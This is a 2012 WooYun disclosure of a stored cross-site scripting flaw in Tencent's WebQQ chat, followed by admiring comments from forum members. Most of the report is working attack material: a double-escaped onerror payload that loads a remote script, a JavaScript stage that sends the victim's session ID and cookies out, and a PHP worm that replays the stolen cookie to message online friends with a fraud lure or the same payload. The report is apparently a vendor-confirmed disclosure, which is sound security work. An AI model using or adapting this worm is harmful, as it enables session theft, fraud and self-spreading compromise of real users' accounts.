当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08487

漏洞标题:腾讯WEBQQ聊天功能XSS - 附带消息蠕虫代码

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-06-19 15:33

修复时间:2012-08-03 15:33

公开时间:2012-08-03 15:33

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-19: 细节已通知厂商并且等待厂商处理中
2012-06-19: 厂商已经确认,细节仅向厂商公开
2012-06-29: 细节向核心白帽子及相关领域专家公开
2012-07-09: 细节向普通白帽子公开
2012-07-19: 细节向实习白帽子公开
2012-08-03: 细节向公众公开

简要描述:

由于找到百度Hi的一个存储型Xss, 不好意思的,于是我又联想到了WEBQQ,然后就找到了。。
这个挺有意思吧~~ 附带一个通过聊天消息传播的蠕虫代码。

详细说明:

1. 首先上传一个正常的图片,抓包并发送消息,看输入。


2. 然后再接收方,打开调试工具,看输出~


3. 可以看到,输入和输出有同样的内容。。
4. 试了下输入处可以在后面添加内容,接着我们就是想着如何构造输入,导致畸形输出。
5. 常规的 ",> 试都没试,这个要是没过滤的话。。就太低级的了。。
6. 首先测试 "> 这个经常导致存储型Xss的组合。 结果被过滤了。。


7. 接着,既然是json数据,我们用\u0022\u003e来表示 "> 应该也是可以的,结果应该服务器端解析错误。返回的retcode不等于0.


8. ****** 重点在这里 ******
由于WEBQQ的消息内容是动态推送的,我就联想到了, xxx.innerHTML="\u0022\u003e" 会输出为 ">,我做以下猜测。
\\u0022\\u003e -->(经过服务器端会输出为)--> \u0022\u003e -->(经过innerHTML输出为) ">
9. 基于上面这个想法,我们做了下面的测试,结果。。。侧漏了


10. 接着后就好办了。构造利用代码。

"onerror="$H.loadScript('http://www.toolmao.com/tool/qqworm.js')//


-->unicode编码转换

\u0022\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003D\u0022\u0024\u0048\u002e\u006c\u006f\u0061\u0064\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0027\u0068\u0074\u0074\u0070\u003A\u002f\u002f\u0077\u0077\u0077\u002e\u0074\u006f\u006f\u006c\u006d\u0061\u006f\u002e\u0063\u006f\u006d\u002f\u0074\u006f\u006f\u006c\u002f\u0071\u0071\u0077\u006f\u0072\u006d\u002e\u006a\u0073\u0027\u0029\u002f\u002f


--> 然后将 \ 全部转换为 \\ ,并且加入到发送的数据r字段的 offpic参数处。

{"to":3591158871,"face":471,"content":"[[\"offpic\",\"/b770c7e7-8032-42f9-9a75-50a69cb316d2\\u0022\\u006f\\u006e\\u0065\\u0072\\u0072\\u006f\\u0072\\u003D\\u0022\\u0024\\u0048\\u002e\\u006c\\u006f\\u0061\\u0064\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\\u0028\\u0027\\u0068\\u0074\\u0074\\u0070\\u003A\\u002f\\u002f\\u0077\\u0077\\u0077\\u002e\\u0074\\u006f\\u006f\\u006c\\u006d\\u0061\\u006f\\u002e\\u0063\\u006f\\u006d\\u002f\\u0074\\u006f\\u006f\\u006c\\u002f\\u0071\\u0071\\u0077\\u006f\\u0072\\u006d\\u002e\\u006a\\u0073\\u0027\\u0029\\u002f\\u002f\",\"icon_appblue.png\",49756],\"\\n\",[\"font\",{\"name\":\"test\",\"size\":\"10\",\"style\":[0,0,0],\"color\":\"000000\"}]]","msg_id":80810004,"clientid":"1181874","psessionid":"8368046764001e636f6e6e7365727665725f77656271714031302e3132382e36362e3131320000529000001be102620083d4486d0000000a4033414761756d5857636d00000028eb9e99a6355d08861632d2769b7b12c0c73d2bbec1da7df3b88da7a914a97d3f5549e4aed22a2137"}


11. 发送利用代码,接收方调用我们的外部文件。


12. 为了进一步演示此漏洞危害, 编写了以下蠕虫代码进行测试。
qqworm.js

//alert("a web qq worm by gainover");
$H.loadScript("http://localhost:8080/bugtest/qqworm.php?sid="+EQQ.getPsessionid()+"&cid="+EQQ.Model.ChatMsg.getClientidFromRpc()+"&cookie="+encodeURIComponent(document.cookie));


qqworm.php

<?
error_reporting(1);
include "./_class/xmlhttp.php";
//echo "web qq worm test";
$clientid=$_GET["cid"];
$psessionid=$_GET["sid"];
$ck=$_GET["cookie"];
function getQQ(){
//get online friends
global $clientid,$psessionid,$ck;
$req=new XMLHTTP();
$req->open("http://d.web2.qq.com/channel/get_online_buddies2?clientid=".$clientid."&psessionid=".$psessionid,"GET");
$req->addsendheader("User-Agent","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)");
$req->addsendheader("Referer","http://d.web2.qq.com/proxy.html?v=20110331002&callback=1&id=2");
$req->addsendheader("Origin","http://d.web2.qq.com");
$req->addsendheader("Cookie",$ck);
//$req->addsendheader("Connection","Close");
$req->send();
$content=$req->resbody();
$req->close();
echo $content;
if($content){
$tmpobj=json_decode($content,true);
if($tmpobj["retcode"]==0){
$sendqq=array();
//从列表里将webQQ的用户加入
$qqlist=$tmpobj["result"];
foreach($qqlist as $qq){
//limited in test QQ number.
if(($qq["uin"]=="1974530220"||$qq["uin"]=="1049174111")){
$sendqq[]=$qq;
}
}
//var_dump($sendqq);
sendToQQ($sendqq);
}else{
echo "window.___tmp='".$tmpobj["retcode"]."';";
}
}else{
echo "window.___tmp='error';";
}
}
function sendMsg($qqobj){
global $clientid,$psessionid,$ck;
$qq=$qqobj["uin"];
$ctype=$qqobj["client_type"];
$req=new XMLHTTP();
$req->open("http://d.web2.qq.com/channel/send_buddy_msg2","POST");
$req->addsendheader("User-Agent","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)");
$req->addsendheader("Referer","http://d.web2.qq.com/proxy.html?v=20110331002&callback=1&id=2");
$req->addsendheader("Origin","http://d.web2.qq.com");
$req->addsendheader("Cookie",$ck);
//$req->addsendheader("Connection","Close");
$sendstr="{\"to\":".$qq.",\"face\":471,\"content\":\"[\\\"show me some money!!\\\",[\\\"font\\\",{\\\"name\\\":\\\"test\\\",\\\"size\\\":\\\"10\\\",\\\"style\\\":[0,0,0],\\\"color\\\":\\\"000000\\\"}]]\",\"msg_id\":21910004,\"clientid\":\"".$clientid."\",\"psessionid\":\"".$psessionid."\"}";
if($ctype==41){
//if friend use web qq
$sendstr="{\"to\":".$qq.",\"face\":471,\"content\":\"[[\\\"offpic\\\",\\\"/40dcbb28-3ec0-4300-8613-41be547b6eeb\\\\u0022\\\\u006f\\\\u006e\\\\u0065\\\\u0072\\\\u0072\\\\u006f\\\\u0072\\\\u003D\\\\u0022\\\\u0024\\\\u0048\\\\u002e\\\\u006c\\\\u006f\\\\u0061\\\\u0064\\\\u0053\\\\u0063\\\\u0072\\\\u0069\\\\u0070\\\\u0074\\\\u0028\\\\u0027\\\\u0068\\\\u0074\\\\u0074\\\\u0070\\\\u003A\\\\u002f\\\\u002f\\\\u0077\\\\u0077\\\\u0077\\\\u002e\\\\u0074\\\\u006f\\\\u006f\\\\u006c\\\\u006d\\\\u0061\\\\u006f\\\\u002e\\\\u0063\\\\u006f\\\\u006d\\\\u002f\\\\u0074\\\\u006f\\\\u006f\\\\u006c\\\\u002f\\\\u0071\\\\u0071\\\\u0077\\\\u006f\\\\u0072\\\\u006d\\\\u002e\\\\u006a\\\\u0073\\\\u0027\\\\u0029\\\\u002f\\\\u002f\\\",\\\"icon5.png\\\",1844],\\\"\\\",\\\"\\\",[\\\"font\\\",{\\\"name\\\":\\\"Arial\\\",\\\"size\\\":\\\"10\\\",\\\"style\\\":[0,0,0],\\\"color\\\":\\\"339966\\\"}]]\",\"msg_id\":21910004,\"clientid\":\"".$clientid."\",\"psessionid\":\"".$psessionid."\"}";
}
//echo $sendstr;
$req->addsendlist("r",$sendstr);
$req->addsendlist("clientid",$clientid);
$req->addsendlist("psessionid",$psessionid);
$req->send();
$content=$req->resbody();
$req->close();
echo $content;
}
function sendToQQ($qqlist){
foreach($qqlist as $qq){
//echo $qq."<br/>";
sendMsg($qq);
sleep(10);
}
}
//main function
getQQ();
?>


13. 本蠕虫代码中为测试用,对被传播的在线用户进行了限制,其工作原理及真实演示效果见漏洞证明。

漏洞证明:

找到一个WEBQQ在线的用户,发送消息,当用户点开消息后,恶意代码将被执行,受害用户会 在自己【毫不知情的情况下】向在线的好友发送虚假消息,如果其好友也是WEBQQ在线,将被发送带有恶意代码的消息。~~

修复方案:

对服务器端逻辑不是很清楚, 消息代码里,对 \ 进行过滤? 仅猜测。。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-06-19 16:13

厂商回复:

thanks,感谢反馈,我们正在跟进修复中~

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-19 15:33 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    我擦~对客户端工具有效么@@估计不行吧

  2. 2012-06-19 15:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    我信洞主

  3. 2012-06-19 15:38 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @一刀终情 = = WEB的,对客户端,可以发送欺诈消息,比如“我没钱了。。”

  4. 2012-06-19 15:41 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    屌爆了,求zone内分享啊

  5. 2012-06-19 15:44 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我擦。。。这样搞,压力巨大。果断上700再说。

  6. 2012-06-19 16:01 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @gainover 真是碉堡了……

  7. 2012-06-19 16:29 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Xhm1n9 最后都公开的吧

  8. 2012-06-19 16:33 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    主要是想早点看到:)

  9. 2012-06-19 16:40 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    屌爆了!!!

  10. 2012-06-19 16:43 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @p.z 海边的妹子泡完了?

  11. 2012-06-19 16:53 | Eoh ( 普通白帽子 | Rank:286 漏洞数:35 )

    碉堡了,求群,求文章分享

  12. 2012-06-19 18:19 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @zeracker @gainover 两位相差5分~~

  13. 2012-06-19 18:51 | Henry:bobo ( 普通白帽子 | Rank:104 漏洞数:22 | 本胖吊!~又高又肥2个奶奶像地雷)

    我信洞主!

  14. 2012-06-20 08:25 | 肥田鸡 ( 路人 | Rank:13 漏洞数:2 | 今天的最好表现是明天的最低要求)

    厉害~

  15. 2012-06-20 08:43 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    @xsser 海边好咸湿!!!

  16. 2012-06-20 22:53 | 闪电小子 ( 实习白帽子 | Rank:63 漏洞数:5 | PKAV技术宅社区!---闪电小子!)

    膜拜挖到的这个蠕虫

  17. 2012-06-21 13:16 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    洞主v587!

  18. 2012-06-22 12:49 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @gainover 给我个struts2 利用工具吧 saviourtech@qq.com

  19. 2012-06-23 00:57 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    这个得双方同时webQQ在线吧

  20. 2012-06-24 12:07 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    碉炸了

  21. 2012-06-24 22:26 | 蓝风 ( 普通白帽子 | Rank:125 漏洞数:25 | 崬汸慾哓 嗼檤焄垳皁 沓猵圊屾亾沬荖 颩憬...)

    我猜下一个是 淘宝的旺旺web

  22. 2012-06-25 08:58 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    新浪微博的聊天

  23. 2012-06-28 21:58 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 恭喜你,猜对了。

  24. 2012-06-28 22:12 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @gainover 给我个struts2 利用工具吧 saviourtech@qq.com

  25. 2012-06-28 23:50 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @saviour 需要研究此工具,直接看此贴: WooYun: 香港电视台Struts2漏洞

  26. 2012-06-28 23:55 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @gainover 那个火狐上的是插件吗?

  27. 2012-06-28 23:59 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @saviour 嗯,是什么插件不重要,那个只是模拟POST一段EXP数据而已。只要是可以抓包发包的工具都可以实现。

  28. 2012-07-19 16:37 | 小猪太子 ( 实习白帽子 | Rank:41 漏洞数:8 | 地球人)

    @gainover 洞主屌爆了,阿里巴巴的WEB旺旺可以试试,这个如果用来发广告,洞主可以捞金了

  29. 2012-07-19 17:01 | ca3tie1 ( 路人 | Rank:18 漏洞数:4 | castiel)

    这个碉堡了!!!

  30. 2012-07-19 17:09 | leehenwu ( 普通白帽子 | Rank:194 漏洞数:24 | 撸·啊·撸)

    屌爆了

  31. 2012-07-19 17:30 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    碉堡啦

  32. 2012-08-01 13:38 | WebSPRing ( 普通白帽子 | Rank:176 漏洞数:18 | Focus on Web Security (wspringox@gmail.c...)

    思路相当赞啊!

  33. 2012-08-01 15:07 | Vty ( 普通白帽子 | Rank:199 漏洞数:37 )

    霸气测漏啊

  34. 2012-08-03 15:53 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    @gainover犀利啊犀利,果然你每次“运气”都很好~哈哈哈,多向你学习~

  35. 2012-08-03 22:52 | princehaku ( 路人 | Rank:1 漏洞数:2 | 无证程序员)

    牛逼啊

  36. 2012-08-07 17:37 | 熊熊 ( 路人 | Rank:5 漏洞数:1 | 熊眼看世界,越看越精彩!专注于技术、金融...)

    Charles相当牛B啊

  37. 2012-08-16 11:34 | Topman王 ( 实习白帽子 | Rank:31 漏洞数:6 | 软件开发工程师!白帽子!XSSER,渗透,SEO)

    Charles相当牛B啊

  38. 2013-01-06 14:56 | rivers ( 实习白帽子 | Rank:85 漏洞数:10 | research on web security)

    膜拜gainover真神

  39. 2013-05-31 14:30 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    帅..

  40. 2013-06-08 19:32 | 小权 ( 路人 | Rank:4 漏洞数:3 | 小菜鸟,求各位大姐大哥多多指教)

    碉堡了。

  41. 2013-06-16 13:53 | 屌丝一枚 ( 路人 | Rank:9 漏洞数:2 | 屌丝一个,蛋疼的。)

    碉堡了,,,,感觉不会再爱、、